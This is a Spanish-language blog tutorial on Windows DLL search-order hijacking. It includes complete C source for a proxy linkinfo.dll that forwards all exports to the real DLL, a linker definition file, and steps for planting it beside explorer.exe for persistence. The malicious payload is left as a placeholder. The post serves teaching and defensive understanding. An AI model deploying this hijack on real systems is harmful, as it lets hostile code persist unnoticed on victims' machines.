Ilustrando el «DLL-order hijacking»

Cuando un sistema Windows requiere cargar una DLL, la busca en los siguientes directorios por orden:

  • El directorio donde reside la imagen del proceso que carga la DLL; por ejemplo, si el ejecutable reside en C:\WINDOWS, intentará cargar la DLL desde ese directorio.
  • El directorio actual.
  • El directorio de sistema (normalmente C:\WINDOWS\SYSTEM32).
  • El directorio de sistema para 16-bit (normalmente C:\WINDOWS\SYSTEM).
  • El directorio de Windows (normalmente C:\WINDOWS).
  • Los directorios listados en la variable de entorno PATH.

Este hecho se puede explotar ubicando una DLL maliciosa con el mismo nombre que la DLL legítima en una posición más prioritaria dentro del orden de búsqueda anterior. Por ejemplo, si se sabe que un proceso ubicado en C:\WINDOWS carga la DLL foo.dll, que normalmente está ubicada en C:\WINDOWS\SYSTEM32, y se ubica una versión maliciosa de la DLL con el mismo nombre foo.dll en C:\WINDOWS, que está antes en el orden de búsqueda para la carga, se cargará la versión maliciosa, y no la versión legítima. Este ataque es conocido como «DLL-order hijacking» (algo así como «secuestro en el orden de la DLLs»).

Para tratar de contrarestar este tipo de ataques, Microsoft introdujo en el registro la familia de claves KnownDLLs, que permiten fijar «a fuego» la ruta absoluta de ciertas DLLs, para que sólo puedan cargarse desde sus ubicaciones legítimas. Sin embargo, tal como ilustra la siguiente captura de pantalla, no todas las DLLs habituales están presentes por defecto en este tipo de claves:

Además, aunque una DLL determinada esté presente en KnownDLLs, las DLLs dependientes de la misma (y, a su vez, las dependientes de éstas, etc.), podrían cargar otras DLLs que sí sean «secuestrables», por lo que en la práctica el mecanismo no es demasiado efectivo.

El «DLL-order hijacking» es utilizado por diversos ejemplares de malware como mecanismo de persistencia. Basta con buscar un proceso residente de forma permanente e inspeccionar las DLLs que importa. Si alguna de estas DLLs no se encuentra presente en KnownDLLs y se dispone de los privilegios en el sistema necesarios para escribir en alguno de los directorios anteriores en el orden de búsqueda, el proceso residente cargará la DLL maliciosa en su espacio de direccionamiento, ejecutando el código malintencionado.

En la presente entrada nos pondremos el sombrero de escritores de malware, y veremos cómo podemos lograr esta persistencia mediante la técnica. El primer paso consiste en localizar un proceso que esté presente en el sistema de forma (casi) permanente. El escogido para la ocasión es explorer.exe, y la DLL víctima será linkinfo.dll, que se carga de forma indirecta a través de shell32.dll. Esta DLL es de hecho utilizada por varios «bichos» reales, y está ubicada en el directorio de sistema (normalmente C:\WINDOWS\SYSTEM32).

Por lo tanto, si ubicamos una DLL maliciosa con el mismo nombre en C:\WINDOWS, nuestro código estará presente en el sistema de forma permanente. Sólo resta por solucionar un problema: ¿qué ocurre con las llamadas legítimas que se hagan a las funciones que exporta linkinfo.dll? Claramente, si ubicamos nuestra DLL en una posición anterior en el orden de búsqueda, la DLL legítima no se cargará, y toda la funcionalidad que se utilice de la misma quedará en el limbo. Esto podría suponer desde «nada» (al menos aparentemente) hasta un «cuelgue» de explorer.exe o algo peor (si algún otro proceso carga la DLL de forma directa o indirecta). Por ello, es necesario exportar desde nuestra DLL las mismas funciones que exporta linkinfo.dll, y cuando algún proceso realice una llamada a alguna de ellas, redirigir la llamada a la versión legítima de la función (lo que habitualmente se suele denominar hookear las funciones).

El primer paso pues consiste en escribir el código inicial de la DLL maliciosa. El punto de entrada de la DLL es el habitual

#define UNICODE
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <locale.h>

#define DEBUG(x) MessageBox(NULL, x, L"fake_linkinfo", 0)

BOOL WINAPI __declspec(dllexport)
LibMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
			DEBUG(L"Se carga la DLL maliciosa");
                        //
                        // AQUI INCLUIRIAMOS EL CODIGO MALICIOSO, LANZANDOLO
                        // NORMALMENTE EN DIFERENTES HILOS DE EJECUCION
                        //
			return SetLegitModule();
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}

Observar que exportamos la función con dllexport. Normalmente, se iniciaría la funcionalidad del malware en diferentes hilos de ejecución mediante CreateThread() en el momento de carga de la DLL. Como valor de retorno del «attach» llamamos a la función SetLegitModule, que guarda el manejador asociado a la linkinfo.dll legítima en la variable global LegitLinkInfo, tal como se muestra a continuación:

HMODULE LegitLinkinfo;

BOOLEAN SetLegitModule()
{
#define MAXLEN 200
	WCHAR szSystemDirectory[MAXLEN + 1];
	WCHAR szLinkinfo[] = L"\\linkinfo.dll";

	DEBUG(L"Obteniendo la ruta absoluta de linkinfo.dll");
	int ret = GetSystemDirectoryW(szSystemDirectory, MAXLEN);
	if ((ret > MAXLEN) || (ret == 0))
		return FALSE;

        // ES UN PoC, NO BUSQUEIS B0FS!! ;-)
	int LinkinfoLen = wcslen(szLinkinfo);
	int SystemDirectoryLen = wcslen(szSystemDirectory);
	if ((SystemDirectoryLen + LinkinfoLen) > MAXLEN)
		return FALSE;
	wcsncat(szSystemDirectory, szLinkinfo, MAXLEN - SystemDirectoryLen);
	DEBUG(szSystemDirectory);

	DEBUG(L"Cargando linkinfo.dll en la DLL maliciosa");
	LegitLinkinfo = LoadLibraryW(szSystemDirectory);
	if (LegitLinkinfo == NULL)
		return FALSE;
	return TRUE;
}

Básicamente, la función halla el directorio de sistema con GetSystemDirectoryW() (C:\WINDOWS\SYSTEM32) y le sufija la ruta relativa de la DLL (\linkinfo.dll). A continuación, se carga la DLL (LoadLibraryW()) y se almacena el manejador devuelto en la variable global.

El siguiente paso es obtener las funciones que exporta linkinfo.dll para poder hookearlas. Los nombres están claros; figuran en la cabecera PE:

Los prototipos de las funciones (sus argumentos y valor de retorno) suelen estar documentados, de una u otra forma, en ficheros de cabecera o en la MSDN, pero en el caso de linkinfo.dll no hemos sido capaces de encontrar la documentación. Afortunadamente, la tarea no es demasiado complicada con la ayuda de IDA Pro. Por ejemplo, desensamblando la función CreateLinkInfoW(), obtenemos sus parámetros y valor de retorno:

En este caso, el prototipo sería el siguiente:

int CreateLinkInfoW(LPCSTR lpMultiByteStr, int a2);

y ésta sería la forma de hookear la función en nuestra DLL maliciosa:

extern __declspec(dllexport) int __stdcall CreateLinkInfoW(LPCSTR lpMultiByteStr, int a2)
{
	int (*func)(LPCSTR lpMultiByteStr, int a2);
	func = LegitProcName("CreateLinkInfoW");
	return func(lpMultiByteStr, a2);
}

De nuevo, exportamos la función desde la DLL (dllexport). En primer lugar, se declara un puntero a función del mismo tipo, que albergará la dirección de memoria de la función legítima que obtenemos con la función auxiliar LegitProcName(). Como se observa, no hacemos más que devolver el valor que devuelva la llamada a la función legítima, con los mismos argumentos con los que se ha llamado a nuestra función maliciosa. En realidad, si fuera de alguna utilidad para el malware, podríamos ponernos «en medio», y aprovechar la información proporcionada por el hecho de que hemos sido llamados para llevar a cabo acciones específicas, si fuera de interés y tuviera sentido. La función LegitProcName() simplemente halla la dirección de la función legítima que se le indique como primer parámetro con la función GetProcAddress() y la variable global en la que se almacenó al inicio de la ejecución del malware el módulo de la linkinfo.dll legítima:

HMODULE __stdcall LegitProcName(LPCSTR lpProcName)
{
	return GetProcAddress(LegitLinkinfo, lpProcName);
}

Una vez hemos hookeado las demás funciones exportadas por linkinfo.dll, podemos copiar la DLL maliciosa a C:\WINDOWS (o el directorio de Windows concreto de nuestro sistema), terminar el proceso explorer.exe y volverlo a lanzar; veremos que el código malicioso se está ejecutando:

Incluimos a continuación el resto de funciones hookeadas y el fichero de definiciones necesario para enlazar la DLL exportando las funciones maliciosas. Esperamos que la entrada os haya gustado (por favor, comentadnos cualquier error o imprecisión que observeis). ¡Hasta la próxima!

#define UNICODE
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <locale.h>

#define DEBUG(x) MessageBox(NULL, x, L"fake_linkinfo", 0);

HMODULE LegitLinkinfo;

BOOLEAN SetLegitModule()
{
#define MAXLEN 200
	WCHAR szSystemDirectory[MAXLEN + 1];
	WCHAR szLinkinfo[] = L"\\linkinfo.dll";

	DEBUG(L"Obteniendo la ruta absoluta de linkinfo.dll");
	int ret = GetSystemDirectoryW(szSystemDirectory, MAXLEN);
	if ((ret > MAXLEN) || (ret == 0))
		return FALSE;

	int LinkinfoLen = wcslen(szLinkinfo);
	int SystemDirectoryLen = wcslen(szSystemDirectory);
	if ((SystemDirectoryLen + LinkinfoLen) > MAXLEN)
		return FALSE;
	wcsncat(szSystemDirectory, szLinkinfo, MAXLEN - SystemDirectoryLen);
	DEBUG(szSystemDirectory);

	DEBUG(L"Cargando linkinfo.dll en la DLL maliciosa");
	LegitLinkinfo = LoadLibraryW(szSystemDirectory);
	if (LegitLinkinfo == NULL)
		return FALSE;
	return TRUE;
}

HMODULE __stdcall LegitProcName(LPCSTR lpProcName)
{
	return GetProcAddress(LegitLinkinfo, lpProcName);
}

extern __declspec(dllexport) int __stdcall CompareLinkInfoReferents(int a1, int a2)
{
	int (*func)(int a1, int a2);
	func = LegitProcName("CompareLinkInfoReferents");
	return func(a1, a2);
}

extern __declspec(dllexport) int __stdcall CompareLinkInfoVolumes(int a1, int a2)
{
	int (*func)(int a1, int a2);
	func = LegitProcName("CompareLinkInfoVolumes");
	return func(a1, a2);
}

extern __declspec(dllexport) int __stdcall CreateLinkInfo(LPCSTR lpMultiByteStr, int a2)
{
	int (*func)(LPCSTR lpMultiByteStr, int a2);
	func = LegitProcName("CreateLinkInfo");
	return func(lpMultiByteStr, a2);
}

extern __declspec(dllexport) int __stdcall CreateLinkInfoA(LPCSTR lpMultiByteStr, int a2)
{
	int (*func)(LPCSTR lpMultiByteStr, int a2);
	func = LegitProcName("CreateLinkInfoA");
	return func(lpMultiByteStr, a2);
}

extern __declspec(dllexport) int __stdcall CreateLinkInfoW(LPCSTR lpMultiByteStr, int a2)
{
	int (*func)(LPCSTR lpMultiByteStr, int a2);
	func = LegitProcName("CreateLinkInfoW");
	return func(lpMultiByteStr, a2);
}

extern __declspec(dllexport) int __stdcall DestroyLinkInfo(int a1)
{
	int (*func)(int a1);
	func = LegitProcName("DestroyLinkInfo");
	return func(a1);
}

extern __declspec(dllexport) int __stdcall DisconnectLinkInfo(int a1)
{
	int (*func)(int a1);
	func = LegitProcName("DisconnectLinkInfo");
	return func(a1);
}

extern __declspec(dllexport) int __stdcall IsValidLinkInfo(int a1)
{
	//DEBUG(L"Se entra en el IsValidLinkInfo() malicioso");
	int (*func)(int a1);
	func = LegitProcName("IsValidLinkInfo");
	int ret = func(a1);
	//DEBUG(L"Se sale del IsValidLinkInfo() malicioso");
	return ret;
}

extern __declspec(dllexport) int __stdcall
GetLinkInfoData(int a1, int a2, int a3)
{
	int (*func)(int a1, int a2, int a3);
	func = LegitProcName("GetLinkInfoData");
	return func(a1, a2, a3);
}

extern __declspec(dllexport) int __stdcall
GetCanonicalPathInfo(LPCSTR lpMultiByteStr, CHAR *a2, int a3, CHAR *a4, int a5)
{
	int (*func)(LPCSTR lpMultiByteStr, CHAR *a2, int a3, CHAR *a4, int a5);
	func = LegitProcName("GetCanonicalPathInfo");
	return func(lpMultiByteStr, a2, a3, a4, a5);
}

extern __declspec(dllexport) int __stdcall
GetCanonicalPathInfoA(LPCSTR lpMultiByteStr, CHAR *a2, int a3, CHAR *a4, int a5)
{
	int (*func)(LPCSTR lpMultiByteStr, CHAR *a2, int a3, CHAR *a4, int a5);
	func = LegitProcName("GetCanonicalPathInfoA");
	return func(lpMultiByteStr, a2, a3, a4, a5);
}

extern __declspec(dllexport) int __stdcall
GetCanonicalPathInfoW(LPCSTR lpMultiByteStr, CHAR *a2, int a3, CHAR *a4, int a5)
{
	int (*func)(LPCSTR lpMultiByteStr, CHAR *a2, int a3, CHAR *a4, int a5);
	func = LegitProcName("GetCanonicalPathInfoW");
	return func(lpMultiByteStr, a2, a3, a4, a5);
}

extern __declspec(dllexport) int __stdcall
ResolveLinkInfo(int a1, LPSTR lpMultiByteStr, char a3, int a4, int a5, int a6)
{
	int (*func)(int a1, LPSTR lpMultiByteStr, char a3, int a4, int a5, int a6);
	func = LegitProcName("ResolveLinkInfo");
	return func(a1, lpMultiByteStr, a3, a4, a5, a6);
}

extern __declspec(dllexport) int __stdcall
ResolveLinkInfoA(int a1, LPSTR lpMultiByteStr, char a3, int a4, int a5, int a6)
{
	int (*func)(int a1, LPSTR lpMultiByteStr, char a3, int a4, int a5, int a6);
	func = LegitProcName("ResolveLinkInfoA");
	return func(a1, lpMultiByteStr, a3, a4, a5, a6);
}

extern __declspec(dllexport) int __stdcall
ResolveLinkInfoW(int a1, LPSTR lpMultiByteStr, char a3, int a4, int a5, int a6)
{
	int (*func)(int a1, LPSTR lpMultiByteStr, char a3, int a4, int a5, int a6);
	func = LegitProcName("ResolveLinkInfoW");
	return func(a1, lpMultiByteStr, a3, a4, a5, a6);
}

BOOL WINAPI __declspec(dllexport)
LibMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
			DEBUG(L"Se carga la DLL maliciosa");
			return SetLegitModule();
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}

Fichero de definiciones para el linker:

LIBRARY fake_linkinfo
EXPORTS
	CompareLinkInfoReferents
	CompareLinkInfoVolumes
	CreateLinkInfo
	CreateLinkInfoA
	CreateLinkInfoW
	DestroyLinkInfo
	DisconnectLinkInfo
	IsValidLinkInfo
	GetLinkInfoData
	GetCanonicalPathInfo
	GetCanonicalPathInfoA
	GetCanonicalPathInfoW
	ResolveLinkInfo
	ResolveLinkInfoA
	ResolveLinkInfoW

Comments

  1. Muy bueno. RT en Twitter. Thumbsup!

  2. WOOOOW!

  3. Muy buen articulo, bien explicado y con gran contenido técnico.

    Saludos desde Colombia.

  4. +1

  5. Muy interesante y bien estructurado, has dado todo el trabajo hecho :)

    Saludos

  6. Enhorabuena Pablo! Me ha gustado mucho leer este artículo tan técnico.
    Un saludo.

Trackbacks

  1. […] Cuando un sistema Windows requiere cargar una DLL, la busca en los siguientes directorios por orden: El directorio donde reside la imagen del proceso que carga la DLL; por ejemplo, si el ejecutable…  […]